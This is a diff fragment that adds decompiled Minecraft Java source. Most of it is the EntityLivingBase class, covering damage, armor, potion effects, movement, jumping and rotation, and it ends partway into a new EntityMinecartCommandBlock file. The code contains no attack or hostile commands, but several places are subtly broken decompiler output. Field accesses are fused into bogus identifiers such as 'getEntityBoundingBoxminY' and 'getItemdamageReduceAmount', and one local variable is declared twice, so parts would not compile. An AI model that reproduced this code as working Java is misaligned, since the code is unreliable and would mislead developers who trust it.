+        dropFewItems(recentlyHit > 0, var4);
+        dropEquipment(recentlyHit > 0, var4);
+        
+        if ((recentlyHit > 0) && (rand.nextFloat() < 0.025F + var4 * 0.01F))
+        {
+          addRandomArmor();
+        }
+      }
+    }
+    
+    worldObj.setEntityState(this, (byte)3);
+  }
+  
+
+
+
+  protected void dropEquipment(boolean p_82160_1_, int p_82160_2_) {}
+  
+
+
+
+  public void knockBack(Entity p_70653_1_, float p_70653_2_, double p_70653_3_, double p_70653_5_)
+  {
+    if (rand.nextDouble() >= getEntityAttribute(SharedMonsterAttributes.knockbackResistance).getAttributeValue())
+    {
+      isAirBorne = true;
+      float var7 = MathHelper.sqrt_double(p_70653_3_ * p_70653_3_ + p_70653_5_ * p_70653_5_);
+      float var8 = 0.4F;
+      motionX /= 2.0D;
+      motionY /= 2.0D;
+      motionZ /= 2.0D;
+      motionX -= p_70653_3_ / var7 * var8;
+      motionY += var8;
+      motionZ -= p_70653_5_ / var7 * var8;
+      
+      if (motionY > 0.4000000059604645D)
+      {
+        motionY = 0.4000000059604645D;
+      }
+    }
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "game.neutral.hurt";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "game.neutral.die";
+  }
+  
+
+
+
+  protected void addRandomArmor() {}
+  
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_) {}
+  
+
+
+
+  public boolean isOnLadder()
+  {
+    int var1 = MathHelper.floor_double(posX);
+    int var2 = MathHelper.floor_double(getEntityBoundingBoxminY);
+    int var3 = MathHelper.floor_double(posZ);
+    Block var4 = worldObj.getBlockState(new BlockPos(var1, var2, var3)).getBlock();
+    return ((var4 == Blocks.ladder) || (var4 == Blocks.vine)) && ((!(this instanceof EntityPlayer)) || (!((EntityPlayer)this).func_175149_v()));
+  }
+  
+
+
+
+  public boolean isEntityAlive()
+  {
+    return (!isDead) && (getHealth() > 0.0F);
+  }
+  
+  public void fall(float distance, float damageMultiplier)
+  {
+    super.fall(distance, damageMultiplier);
+    PotionEffect var3 = getActivePotionEffect(Potion.jump);
+    float var4 = var3 != null ? var3.getAmplifier() + 1 : 0.0F;
+    int var5 = MathHelper.ceiling_float_int((distance - 3.0F - var4) * damageMultiplier);
+    
+    if (var5 > 0)
+    {
+      playSound(func_146067_o(var5), 1.0F, 1.0F);
+      attackEntityFrom(DamageSource.fall, var5);
+      int var6 = MathHelper.floor_double(posX);
+      int var7 = MathHelper.floor_double(posY - 0.20000000298023224D);
+      int var8 = MathHelper.floor_double(posZ);
+      Block var9 = worldObj.getBlockState(new BlockPos(var6, var7, var8)).getBlock();
+      
+      if (var9.getMaterial() != Material.air)
+      {
+        Block.SoundType var10 = stepSound;
+        playSound(var10.getStepSound(), var10.getVolume() * 0.5F, var10.getFrequency() * 0.75F);
+      }
+    }
+  }
+  
+  protected String func_146067_o(int p_146067_1_)
+  {
+    return p_146067_1_ > 4 ? "game.neutral.hurt.fall.big" : "game.neutral.hurt.fall.small";
+  }
+  
+
+
+
+  public void performHurtAnimation()
+  {
+    hurtTime = (this.maxHurtTime = 10);
+    attackedAtYaw = 0.0F;
+  }
+  
+
+
+
+  public int getTotalArmorValue()
+  {
+    int var1 = 0;
+    ItemStack[] var2 = getInventory();
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      ItemStack var5 = var2[var4];
+      
+      if ((var5 != null) && ((var5.getItem() instanceof ItemArmor)))
+      {
+        int var6 = getItemdamageReduceAmount;
+        var1 += var6;
+      }
+    }
+    
+    return var1;
+  }
+  
+
+
+  protected void damageArmor(float p_70675_1_) {}
+  
+
+  protected float applyArmorCalculations(DamageSource p_70655_1_, float p_70655_2_)
+  {
+    if (!p_70655_1_.isUnblockable())
+    {
+      int var3 = 25 - getTotalArmorValue();
+      float var4 = p_70655_2_ * var3;
+      damageArmor(p_70655_2_);
+      p_70655_2_ = var4 / 25.0F;
+    }
+    
+    return p_70655_2_;
+  }
+  
+
+
+
+  protected float applyPotionDamageCalculations(DamageSource p_70672_1_, float p_70672_2_)
+  {
+    if (p_70672_1_.isDamageAbsolute())
+    {
+      return p_70672_2_;
+    }
+    
+
+
+
+
+
+    if ((isPotionActive(Potion.resistance)) && (p_70672_1_ != DamageSource.outOfWorld))
+    {
+      int var3 = (getActivePotionEffect(Potion.resistance).getAmplifier() + 1) * 5;
+      int var4 = 25 - var3;
+      float var5 = p_70672_2_ * var4;
+      p_70672_2_ = var5 / 25.0F;
+    }
+    
+    if (p_70672_2_ <= 0.0F)
+    {
+      return 0.0F;
+    }
+    
+
+    int var3 = EnchantmentHelper.getEnchantmentModifierDamage(getInventory(), p_70672_1_);
+    
+    if (var3 > 20)
+    {
+      var3 = 20;
+    }
+    
+    if ((var3 > 0) && (var3 <= 20))
+    {
+      int var4 = 25 - var3;
+      float var5 = p_70672_2_ * var4;
+      p_70672_2_ = var5 / 25.0F;
+    }
+    
+    return p_70672_2_;
+  }
+  
+
+
+
+
+
+
+  protected void damageEntity(DamageSource p_70665_1_, float p_70665_2_)
+  {
+    if (!func_180431_b(p_70665_1_))
+    {
+      p_70665_2_ = applyArmorCalculations(p_70665_1_, p_70665_2_);
+      p_70665_2_ = applyPotionDamageCalculations(p_70665_1_, p_70665_2_);
+      float var3 = p_70665_2_;
+      p_70665_2_ = Math.max(p_70665_2_ - getAbsorptionAmount(), 0.0F);
+      setAbsorptionAmount(getAbsorptionAmount() - (var3 - p_70665_2_));
+      
+      if (p_70665_2_ != 0.0F)
+      {
+        float var4 = getHealth();
+        setHealth(var4 - p_70665_2_);
+        getCombatTracker().func_94547_a(p_70665_1_, var4, p_70665_2_);
+        setAbsorptionAmount(getAbsorptionAmount() - p_70665_2_);
+      }
+    }
+  }
+  
+  public CombatTracker getCombatTracker()
+  {
+    return _combatTracker;
+  }
+  
+  public EntityLivingBase func_94060_bK()
+  {
+    return entityLivingToAttack != null ? entityLivingToAttack : attackingPlayer != null ? attackingPlayer : _combatTracker.func_94550_c() != null ? _combatTracker.func_94550_c() : null;
+  }
+  
+  public final float getMaxHealth()
+  {
+    return (float)getEntityAttribute(SharedMonsterAttributes.maxHealth).getAttributeValue();
+  }
+  
+
+
+
+  public final int getArrowCountInEntity()
+  {
+    return dataWatcher.getWatchableObjectByte(9);
+  }
+  
+
+
+
+  public final void setArrowCountInEntity(int p_85034_1_)
+  {
+    dataWatcher.updateObject(9, Byte.valueOf((byte)p_85034_1_));
+  }
+  
+
+
+
+
+  private int getArmSwingAnimationEnd()
+  {
+    return isPotionActive(Potion.digSlowdown) ? 6 + (1 + getActivePotionEffect(Potion.digSlowdown).getAmplifier()) * 2 : isPotionActive(Potion.digSpeed) ? 6 - (1 + getActivePotionEffect(Potion.digSpeed).getAmplifier()) * 1 : 6;
+  }
+  
+
+
+
+  public void swingItem()
+  {
+    if ((!isSwingInProgress) || (swingProgressInt >= getArmSwingAnimationEnd() / 2) || (swingProgressInt < 0))
+    {
+      swingProgressInt = -1;
+      isSwingInProgress = true;
+      
+      if ((worldObj instanceof WorldServer))
+      {
+        ((WorldServer)worldObj).getEntityTracker().sendToAllTrackingEntity(this, new net.minecraft.network.play.server.S0BPacketAnimation(this, 0));
+      }
+    }
+  }
+  
+
+
+  public void handleHealthUpdate(byte p_70103_1_)
+  {
+    if (p_70103_1_ == 2)
+    {
+      limbSwingAmount = 1.5F;
+      hurtResistantTime = maxHurtResistantTime;
+      hurtTime = (this.maxHurtTime = 10);
+      attackedAtYaw = 0.0F;
+      String var2 = getHurtSound();
+      
+      if (var2 != null)
+      {
+        playSound(getHurtSound(), getSoundVolume(), (rand.nextFloat() - rand.nextFloat()) * 0.2F + 1.0F);
+      }
+      
+      attackEntityFrom(DamageSource.generic, 0.0F);
+    }
+    else if (p_70103_1_ == 3)
+    {
+      String var2 = getDeathSound();
+      
+      if (var2 != null)
+      {
+        playSound(getDeathSound(), getSoundVolume(), (rand.nextFloat() - rand.nextFloat()) * 0.2F + 1.0F);
+      }
+      
+      setHealth(0.0F);
+      onDeath(DamageSource.generic);
+    }
+    else
+    {
+      super.handleHealthUpdate(p_70103_1_);
+    }
+  }
+  
+
+
+
+  protected void kill()
+  {
+    attackEntityFrom(DamageSource.outOfWorld, 4.0F);
+  }
+  
+
+
+
+  protected void updateArmSwingProgress()
+  {
+    int var1 = getArmSwingAnimationEnd();
+    
+    if (isSwingInProgress)
+    {
+      swingProgressInt += 1;
+      
+      if (swingProgressInt >= var1)
+      {
+        swingProgressInt = 0;
+        isSwingInProgress = false;
+      }
+    }
+    else
+    {
+      swingProgressInt = 0;
+    }
+    
+    swingProgress = (swingProgressInt / var1);
+  }
+  
+  public IAttributeInstance getEntityAttribute(IAttribute p_110148_1_)
+  {
+    return getAttributeMap().getAttributeInstance(p_110148_1_);
+  }
+  
+  public BaseAttributeMap getAttributeMap()
+  {
+    if (attributeMap == null)
+    {
+      attributeMap = new net.minecraft.entity.ai.attributes.ServersideAttributeMap();
+    }
+    
+    return attributeMap;
+  }
+  
+
+
+
+  public EnumCreatureAttribute getCreatureAttribute()
+  {
+    return EnumCreatureAttribute.UNDEFINED;
+  }
+  
+
+
+
+  public abstract ItemStack getHeldItem();
+  
+
+
+
+  public abstract ItemStack getEquipmentInSlot(int paramInt);
+  
+
+
+  public abstract ItemStack getCurrentArmor(int paramInt);
+  
+
+
+  public abstract void setCurrentItemOrArmor(int paramInt, ItemStack paramItemStack);
+  
+
+
+  public void setSprinting(boolean sprinting)
+  {
+    super.setSprinting(sprinting);
+    IAttributeInstance var2 = getEntityAttribute(SharedMonsterAttributes.movementSpeed);
+    
+    if (var2.getModifier(sprintingSpeedBoostModifierUUID) != null)
+    {
+      var2.removeModifier(sprintingSpeedBoostModifier);
+    }
+    
+    if (sprinting)
+    {
+      var2.applyModifier(sprintingSpeedBoostModifier);
+    }
+  }
+  
+
+
+
+  public abstract ItemStack[] getInventory();
+  
+
+
+
+  protected float getSoundVolume()
+  {
+    return 1.0F;
+  }
+  
+
+
+
+  protected float getSoundPitch()
+  {
+    return isChild() ? (rand.nextFloat() - rand.nextFloat()) * 0.2F + 1.5F : (rand.nextFloat() - rand.nextFloat()) * 0.2F + 1.0F;
+  }
+  
+
+
+
+  protected boolean isMovementBlocked()
+  {
+    return getHealth() <= 0.0F;
+  }
+  
+
+
+
+  public void dismountEntity(Entity p_110145_1_)
+  {
+    double var3 = posX;
+    double var5 = getEntityBoundingBoxminY + height;
+    double var7 = posZ;
+    byte var9 = 1;
+    
+    for (int var10 = -var9; var10 <= var9; var10++)
+    {
+      for (int var11 = -var9; var11 < var9; var11++)
+      {
+        if ((var10 != 0) || (var11 != 0))
+        {
+          int var12 = (int)(posX + var10);
+          int var13 = (int)(posZ + var11);
+          AxisAlignedBB var2 = getEntityBoundingBox().offset(var10, 1.0D, var11);
+          
+          if (worldObj.func_147461_a(var2).isEmpty())
+          {
+            if (World.doesBlockHaveSolidTopSurface(worldObj, new BlockPos(var12, (int)posY, var13)))
+            {
+              setPositionAndUpdate(posX + var10, posY + 1.0D, posZ + var11);
+              return;
+            }
+            
+            if ((World.doesBlockHaveSolidTopSurface(worldObj, new BlockPos(var12, (int)posY - 1, var13))) || (worldObj.getBlockState(new BlockPos(var12, (int)posY - 1, var13)).getBlock().getMaterial() == Material.water))
+            {
+              var3 = posX + var10;
+              var5 = posY + 1.0D;
+              var7 = posZ + var11;
+            }
+          }
+        }
+      }
+    }
+    
+    setPositionAndUpdate(var3, var5, var7);
+  }
+  
+  public boolean getAlwaysRenderNameTagForRender()
+  {
+    return false;
+  }
+  
+  protected float func_175134_bD()
+  {
+    return 0.42F;
+  }
+  
+
+
+
+  protected void jump()
+  {
+    motionY = func_175134_bD();
+    
+    if (isPotionActive(Potion.jump))
+    {
+      motionY += (getActivePotionEffect(Potion.jump).getAmplifier() + 1) * 0.1F;
+    }
+    
+    if (isSprinting())
+    {
+      float var1 = rotationYaw * 0.017453292F;
+      motionX -= MathHelper.sin(var1) * 0.2F;
+      motionZ += MathHelper.cos(var1) * 0.2F;
+    }
+    
+    isAirBorne = true;
+  }
+  
+
+
+
+  protected void updateAITick()
+  {
+    motionY += 0.03999999910593033D;
+  }
+  
+  protected void func_180466_bG()
+  {
+    motionY += 0.03999999910593033D;
+  }
+  
+
+
+
+
+
+
+  public void moveEntityWithHeading(float p_70612_1_, float p_70612_2_)
+  {
+    if (isServerWorld())
+    {
+
+
+
+      if ((isInWater()) && ((!(this instanceof EntityPlayer)) || (!capabilities.isFlying)))
+      {
+        double var8 = posY;
+        float var5 = 0.8F;
+        float var6 = 0.02F;
+        float var10 = EnchantmentHelper.func_180318_b(this);
+        
+        if (var10 > 3.0F)
+        {
+          var10 = 3.0F;
+        }
+        
+        if (!onGround)
+        {
+          var10 *= 0.5F;
+        }
+        
+        if (var10 > 0.0F)
+        {
+          var5 += (0.54600006F - var5) * var10 / 3.0F;
+          var6 += (getAIMoveSpeed() * 1.0F - var6) * var10 / 3.0F;
+        }
+        
+        moveFlying(p_70612_1_, p_70612_2_, var6);
+        moveEntity(motionX, motionY, motionZ);
+        motionX *= var5;
+        motionY *= 0.800000011920929D;
+        motionZ *= var5;
+        motionY -= 0.02D;
+        
+        if ((isCollidedHorizontally) && (isOffsetPositionInLiquid(motionX, motionY + 0.6000000238418579D - posY + var8, motionZ)))
+        {
+          motionY = 0.30000001192092896D;
+        }
+      }
+      else if ((func_180799_ab()) && ((!(this instanceof EntityPlayer)) || (!capabilities.isFlying)))
+      {
+        double var8 = posY;
+        moveFlying(p_70612_1_, p_70612_2_, 0.02F);
+        moveEntity(motionX, motionY, motionZ);
+        motionX *= 0.5D;
+        motionY *= 0.5D;
+        motionZ *= 0.5D;
+        motionY -= 0.02D;
+        
+        if ((isCollidedHorizontally) && (isOffsetPositionInLiquid(motionX, motionY + 0.6000000238418579D - posY + var8, motionZ)))
+        {
+          motionY = 0.30000001192092896D;
+        }
+      }
+      else
+      {
+        float var3 = 0.91F;
+        
+        if (onGround)
+        {
+          var3 = worldObj.getBlockState(new BlockPos(MathHelper.floor_double(posX), MathHelper.floor_double(getEntityBoundingBoxminY) - 1, MathHelper.floor_double(posZ))).getBlock().slipperiness * 0.91F;
+        }
+        
+        float var4 = 0.16277136F / (var3 * var3 * var3);
+        float var5;
+        float var5; if (onGround)
+        {
+          var5 = getAIMoveSpeed() * var4;
+        }
+        else
+        {
+          var5 = jumpMovementFactor;
+        }
+        
+        moveFlying(p_70612_1_, p_70612_2_, var5);
+        var3 = 0.91F;
+        
+        if (onGround)
+        {
+          var3 = worldObj.getBlockState(new BlockPos(MathHelper.floor_double(posX), MathHelper.floor_double(getEntityBoundingBoxminY) - 1, MathHelper.floor_double(posZ))).getBlock().slipperiness * 0.91F;
+        }
+        
+        if (isOnLadder())
+        {
+          float var6 = 0.15F;
+          motionX = MathHelper.clamp_double(motionX, -var6, var6);
+          motionZ = MathHelper.clamp_double(motionZ, -var6, var6);
+          fallDistance = 0.0F;
+          
+          if (motionY < -0.15D)
+          {
+            motionY = -0.15D;
+          }
+          
+          boolean var7 = (isSneaking()) && ((this instanceof EntityPlayer));
+          
+          if ((var7) && (motionY < 0.0D))
+          {
+            motionY = 0.0D;
+          }
+        }
+        
+        moveEntity(motionX, motionY, motionZ);
+        
+        if ((isCollidedHorizontally) && (isOnLadder()))
+        {
+          motionY = 0.2D;
+        }
+        
+        if ((worldObj.isRemote) && ((!worldObj.isBlockLoaded(new BlockPos((int)posX, 0, (int)posZ))) || (!worldObj.getChunkFromBlockCoords(new BlockPos((int)posX, 0, (int)posZ)).isLoaded())))
+        {
+          if (posY > 0.0D)
+          {
+            motionY = -0.1D;
+          }
+          else
+          {
+            motionY = 0.0D;
+          }
+          
+        }
+        else {
+          motionY -= 0.08D;
+        }
+        
+        motionY *= 0.9800000190734863D;
+        motionX *= var3;
+        motionZ *= var3;
+      }
+    }
+    
+    prevLimbSwingAmount = limbSwingAmount;
+    double var8 = posX - prevPosX;
+    double var9 = posZ - prevPosZ;
+    float var10 = MathHelper.sqrt_double(var8 * var8 + var9 * var9) * 4.0F;
+    
+    if (var10 > 1.0F)
+    {
+      var10 = 1.0F;
+    }
+    
+    limbSwingAmount += (var10 - limbSwingAmount) * 0.4F;
+    limbSwing += limbSwingAmount;
+  }
+  
+
+
+
+  public float getAIMoveSpeed()
+  {
+    return landMovementFactor;
+  }
+  
+
+
+
+  public void setAIMoveSpeed(float p_70659_1_)
+  {
+    landMovementFactor = p_70659_1_;
+  }
+  
+  public boolean attackEntityAsMob(Entity p_70652_1_)
+  {
+    setLastAttacker(p_70652_1_);
+    return false;
+  }
+  
+
+
+
+  public boolean isPlayerSleeping()
+  {
+    return false;
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    super.onUpdate();
+    
+    if (!worldObj.isRemote)
+    {
+      int var1 = getArrowCountInEntity();
+      
+      if (var1 > 0)
+      {
+        if (arrowHitTimer <= 0)
+        {
+          arrowHitTimer = (20 * (30 - var1));
+        }
+        
+        arrowHitTimer -= 1;
+        
+        if (arrowHitTimer <= 0)
+        {
+          setArrowCountInEntity(var1 - 1);
+        }
+      }
+      
+      for (int var2 = 0; var2 < 5; var2++)
+      {
+        ItemStack var3 = previousEquipment[var2];
+        ItemStack var4 = getEquipmentInSlot(var2);
+        
+        if (!ItemStack.areItemStacksEqual(var4, var3))
+        {
+          ((WorldServer)worldObj).getEntityTracker().sendToAllTrackingEntity(this, new net.minecraft.network.play.server.S04PacketEntityEquipment(getEntityId(), var2, var4));
+          
+          if (var3 != null)
+          {
+            attributeMap.removeAttributeModifiers(var3.getAttributeModifiers());
+          }
+          
+          if (var4 != null)
+          {
+            attributeMap.applyAttributeModifiers(var4.getAttributeModifiers());
+          }
+          
+          previousEquipment[var2] = (var4 == null ? null : var4.copy());
+        }
+      }
+      
+      if (ticksExisted % 20 == 0)
+      {
+        getCombatTracker().func_94549_h();
+      }
+    }
+    
+    onLivingUpdate();
+    double var9 = posX - prevPosX;
+    double var10 = posZ - prevPosZ;
+    float var5 = (float)(var9 * var9 + var10 * var10);
+    float var6 = renderYawOffset;
+    float var7 = 0.0F;
+    field_70768_au = field_110154_aX;
+    float var8 = 0.0F;
+    
+    if (var5 > 0.0025000002F)
+    {
+      var8 = 1.0F;
+      var7 = (float)Math.sqrt(var5) * 3.0F;
+      var6 = (float)Math.atan2(var10, var9) * 180.0F / 3.1415927F - 90.0F;
+    }
+    
+    if (swingProgress > 0.0F)
+    {
+      var6 = rotationYaw;
+    }
+    
+    if (!onGround)
+    {
+      var8 = 0.0F;
+    }
+    
+    field_110154_aX += (var8 - field_110154_aX) * 0.3F;
+    worldObj.theProfiler.startSection("headTurn");
+    var7 = func_110146_f(var6, var7);
+    worldObj.theProfiler.endSection();
+    worldObj.theProfiler.startSection("rangeChecks");
+    
+    while (rotationYaw - prevRotationYaw < -180.0F)
+    {
+      prevRotationYaw -= 360.0F;
+    }
+    
+    while (rotationYaw - prevRotationYaw >= 180.0F)
+    {
+      prevRotationYaw += 360.0F;
+    }
+    
+    while (renderYawOffset - prevRenderYawOffset < -180.0F)
+    {
+      prevRenderYawOffset -= 360.0F;
+    }
+    
+    while (renderYawOffset - prevRenderYawOffset >= 180.0F)
+    {
+      prevRenderYawOffset += 360.0F;
+    }
+    
+    while (rotationPitch - prevRotationPitch < -180.0F)
+    {
+      prevRotationPitch -= 360.0F;
+    }
+    
+    while (rotationPitch - prevRotationPitch >= 180.0F)
+    {
+      prevRotationPitch += 360.0F;
+    }
+    
+    while (rotationYawHead - prevRotationYawHead < -180.0F)
+    {
+      prevRotationYawHead -= 360.0F;
+    }
+    
+    while (rotationYawHead - prevRotationYawHead >= 180.0F)
+    {
+      prevRotationYawHead += 360.0F;
+    }
+    
+    worldObj.theProfiler.endSection();
+    field_70764_aw += var7;
+  }
+  
+  protected float func_110146_f(float p_110146_1_, float p_110146_2_)
+  {
+    float var3 = MathHelper.wrapAngleTo180_float(p_110146_1_ - renderYawOffset);
+    renderYawOffset += var3 * 0.3F;
+    float var4 = MathHelper.wrapAngleTo180_float(rotationYaw - renderYawOffset);
+    boolean var5 = (var4 < -90.0F) || (var4 >= 90.0F);
+    
+    if (var4 < -75.0F)
+    {
+      var4 = -75.0F;
+    }
+    
+    if (var4 >= 75.0F)
+    {
+      var4 = 75.0F;
+    }
+    
+    renderYawOffset = (rotationYaw - var4);
+    
+    if (var4 * var4 > 2500.0F)
+    {
+      renderYawOffset += var4 * 0.2F;
+    }
+    
+    if (var5)
+    {
+      p_110146_2_ *= -1.0F;
+    }
+    
+    return p_110146_2_;
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    if (jumpTicks > 0)
+    {
+      jumpTicks -= 1;
+    }
+    
+    if (newPosRotationIncrements > 0)
+    {
+      double var1 = posX + (newPosX - posX) / newPosRotationIncrements;
+      double var3 = posY + (newPosY - posY) / newPosRotationIncrements;
+      double var5 = posZ + (newPosZ - posZ) / newPosRotationIncrements;
+      double var7 = MathHelper.wrapAngleTo180_double(newRotationYaw - rotationYaw);
+      rotationYaw = ((float)(rotationYaw + var7 / newPosRotationIncrements));
+      rotationPitch = ((float)(rotationPitch + (newRotationPitch - rotationPitch) / newPosRotationIncrements));
+      newPosRotationIncrements -= 1;
+      setPosition(var1, var3, var5);
+      setRotation(rotationYaw, rotationPitch);
+    }
+    else if (!isServerWorld())
+    {
+      motionX *= 0.98D;
+      motionY *= 0.98D;
+      motionZ *= 0.98D;
+    }
+    
+    if (Math.abs(motionX) < 0.005D)
+    {
+      motionX = 0.0D;
+    }
+    
+    if (Math.abs(motionY) < 0.005D)
+    {
+      motionY = 0.0D;
+    }
+    
+    if (Math.abs(motionZ) < 0.005D)
+    {
+      motionZ = 0.0D;
+    }
+    
+    worldObj.theProfiler.startSection("ai");
+    
+    if (isMovementBlocked())
+    {
+      isJumping = false;
+      moveStrafing = 0.0F;
+      moveForward = 0.0F;
+      randomYawVelocity = 0.0F;
+    }
+    else if (isServerWorld())
+    {
+      worldObj.theProfiler.startSection("newAi");
+      updateEntityActionState();
+      worldObj.theProfiler.endSection();
+    }
+    
+    worldObj.theProfiler.endSection();
+    worldObj.theProfiler.startSection("jump");
+    
+    if (isJumping)
+    {
+      if (isInWater())
+      {
+        updateAITick();
+      }
+      else if (func_180799_ab())
+      {
+        func_180466_bG();
+      }
+      else if ((onGround) && (jumpTicks == 0))
+      {
+        jump();
+        jumpTicks = 10;
+      }
+      
+    }
+    else {
+      jumpTicks = 0;
+    }
+    
+    worldObj.theProfiler.endSection();
+    worldObj.theProfiler.startSection("travel");
+    moveStrafing *= 0.98F;
+    moveForward *= 0.98F;
+    randomYawVelocity *= 0.9F;
+    moveEntityWithHeading(moveStrafing, moveForward);
+    worldObj.theProfiler.endSection();
+    worldObj.theProfiler.startSection("push");
+    
+    if (!worldObj.isRemote)
+    {
+      collideWithNearbyEntities();
+    }
+    
+    worldObj.theProfiler.endSection();
+  }
+  
+  protected void updateEntityActionState() {}
+  
+  protected void collideWithNearbyEntities()
+  {
+    List var1 = worldObj.getEntitiesWithinAABBExcludingEntity(this, getEntityBoundingBox().expand(0.20000000298023224D, 0.0D, 0.20000000298023224D));
+    
+    if ((var1 != null) && (!var1.isEmpty()))
+    {
+      for (int var2 = 0; var2 < var1.size(); var2++)
+      {
+        Entity var3 = (Entity)var1.get(var2);
+        
+        if (var3.canBePushed())
+        {
+          collideWithEntity(var3);
+        }
+      }
+    }
+  }
+  
+  protected void collideWithEntity(Entity p_82167_1_)
+  {
+    p_82167_1_.applyEntityCollision(this);
+  }
+  
+
+
+
+  public void mountEntity(Entity entityIn)
+  {
+    if ((ridingEntity != null) && (entityIn == null))
+    {
+      if (!worldObj.isRemote)
+      {
+        dismountEntity(ridingEntity);
+      }
+      
+      if (ridingEntity != null)
+      {
+        ridingEntity.riddenByEntity = null;
+      }
+      
+      ridingEntity = null;
+    }
+    else
+    {
+      super.mountEntity(entityIn);
+    }
+  }
+  
+
+
+
+  public void updateRidden()
+  {
+    super.updateRidden();
+    field_70768_au = field_110154_aX;
+    field_110154_aX = 0.0F;
+    fallDistance = 0.0F;
+  }
+  
+  public void func_180426_a(double p_180426_1_, double p_180426_3_, double p_180426_5_, float p_180426_7_, float p_180426_8_, int p_180426_9_, boolean p_180426_10_)
+  {
+    newPosX = p_180426_1_;
+    newPosY = p_180426_3_;
+    newPosZ = p_180426_5_;
+    newRotationYaw = p_180426_7_;
+    newRotationPitch = p_180426_8_;
+    newPosRotationIncrements = p_180426_9_;
+  }
+  
+  public void setJumping(boolean p_70637_1_)
+  {
+    isJumping = p_70637_1_;
+  }
+  
+
+
+
+  public void onItemPickup(Entity p_71001_1_, int p_71001_2_)
+  {
+    if ((!isDead) && (!worldObj.isRemote))
+    {
+      EntityTracker var3 = ((WorldServer)worldObj).getEntityTracker();
+      
+      if ((p_71001_1_ instanceof EntityItem))
+      {
+        var3.sendToAllTrackingEntity(p_71001_1_, new S0DPacketCollectItem(p_71001_1_.getEntityId(), getEntityId()));
+      }
+      
+      if ((p_71001_1_ instanceof net.minecraft.entity.projectile.EntityArrow))
+      {
+        var3.sendToAllTrackingEntity(p_71001_1_, new S0DPacketCollectItem(p_71001_1_.getEntityId(), getEntityId()));
+      }
+      
+      if ((p_71001_1_ instanceof EntityXPOrb))
+      {
+        var3.sendToAllTrackingEntity(p_71001_1_, new S0DPacketCollectItem(p_71001_1_.getEntityId(), getEntityId()));
+      }
+    }
+  }
+  
+
+
+
+  public boolean canEntityBeSeen(Entity p_70685_1_)
+  {
+    return worldObj.rayTraceBlocks(new Vec3(posX, posY + getEyeHeight(), posZ), new Vec3(posX, posY + p_70685_1_.getEyeHeight(), posZ)) == null;
+  }
+  
+
+
+
+  public Vec3 getLookVec()
+  {
+    return getLook(1.0F);
+  }
+  
+
+
+
+  public Vec3 getLook(float p_70676_1_)
+  {
+    if (p_70676_1_ == 1.0F)
+    {
+      return func_174806_f(rotationPitch, rotationYawHead);
+    }
+    
+
+    float var2 = prevRotationPitch + (rotationPitch - prevRotationPitch) * p_70676_1_;
+    float var3 = prevRotationYawHead + (rotationYawHead - prevRotationYawHead) * p_70676_1_;
+    return func_174806_f(var2, var3);
+  }
+  
+
+
+
+
+  public float getSwingProgress(float p_70678_1_)
+  {
+    float var2 = swingProgress - prevSwingProgress;
+    
+    if (var2 < 0.0F)
+    {
+      var2 += 1.0F;
+    }
+    
+    return prevSwingProgress + var2 * p_70678_1_;
+  }
+  
+
+
+
+  public boolean isServerWorld()
+  {
+    return !worldObj.isRemote;
+  }
+  
+
+
+
+  public boolean canBeCollidedWith()
+  {
+    return !isDead;
+  }
+  
+
+
+
+  public boolean canBePushed()
+  {
+    return !isDead;
+  }
+  
+
+
+
+  protected void setBeenAttacked()
+  {
+    velocityChanged = (rand.nextDouble() >= getEntityAttribute(SharedMonsterAttributes.knockbackResistance).getAttributeValue());
+  }
+  
+  public float getRotationYawHead()
+  {
+    return rotationYawHead;
+  }
+  
+
+
+
+  public void setRotationYawHead(float rotation)
+  {
+    rotationYawHead = rotation;
+  }
+  
+  public float getAbsorptionAmount()
+  {
+    return field_110151_bq;
+  }
+  
+  public void setAbsorptionAmount(float p_110149_1_)
+  {
+    if (p_110149_1_ < 0.0F)
+    {
+      p_110149_1_ = 0.0F;
+    }
+    
+    field_110151_bq = p_110149_1_;
+  }
+  
+  public Team getTeam()
+  {
+    return worldObj.getScoreboard().getPlayersTeam(getUniqueID().toString());
+  }
+  
+  public boolean isOnSameTeam(EntityLivingBase p_142014_1_)
+  {
+    return isOnTeam(p_142014_1_.getTeam());
+  }
+  
+
+
+
+  public boolean isOnTeam(Team p_142012_1_)
+  {
+    return getTeam() != null ? getTeam().isSameTeam(p_142012_1_) : false;
+  }
+  
+  public void func_152111_bt() {}
+  
+  public void func_152112_bu() {}
+  
+  protected void func_175136_bO()
+  {
+    potionsNeedUpdate = true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/EntityMinecartCommandBlock.java b/src/minecraft/net/minecraft/entity/EntityMinecartCommandBlock.java
new file mode 100644
index 0000000..f9e5bc5
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/EntityMinecartCommandBlock.java
@@ -0,0 +1,146 @@
+package net.minecraft.entity;
+
+import io.netty.buffer.ByteBuf;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.command.server.CommandBlockLogic;
+import net.minecraft.entity.item.EntityMinecart;
+import net.minecraft.entity.item.EntityMinecart.EnumMinecartType;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IChatComponent.Serializer;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+
+public class EntityMinecartCommandBlock extends EntityMinecart
+{
+  private final CommandBlockLogic field_145824_a = new CommandBlockLogic()
+  {
+    private static final String __OBFID = "CL_00001673";
+    
+    public void func_145756_e() {
+      getDataWatcher().updateObject(23, getCustomName());
+      getDataWatcher().updateObject(24, IChatComponent.Serializer.componentToJson(getLastOutput()));
+    }
+    
+    public int func_145751_f() {
+      return 1;
+    }
+    
+    public void func_145757_a(ByteBuf p_145757_1_) {
+      p_145757_1_.writeInt(getEntityId());
+    }
+    
+    public BlockPos getPosition() {
+      return new BlockPos(posX, posY + 0.5D, posZ);
+    }
+    
+    public Vec3 getPositionVector() {
+      return new Vec3(posX, posY, posZ);
+    }
+    
+    public World getEntityWorld() {
+      return worldObj;
+    }
+    
+    public Entity getCommandSenderEntity() {
+      return EntityMinecartCommandBlock.this;
+    }
+  };
+  private int field_145823_b = 0;
+  private static final String __OBFID = "CL_00001672";
+  
